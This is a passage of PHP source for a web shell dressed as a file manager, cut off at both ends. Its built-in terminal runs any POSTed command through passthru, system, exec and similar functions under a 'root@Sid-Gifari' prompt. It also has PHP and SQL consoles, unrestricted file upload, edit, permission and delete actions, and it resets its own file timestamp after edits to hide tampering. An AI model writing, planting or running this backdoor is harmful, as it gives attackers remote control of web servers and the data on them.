WTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
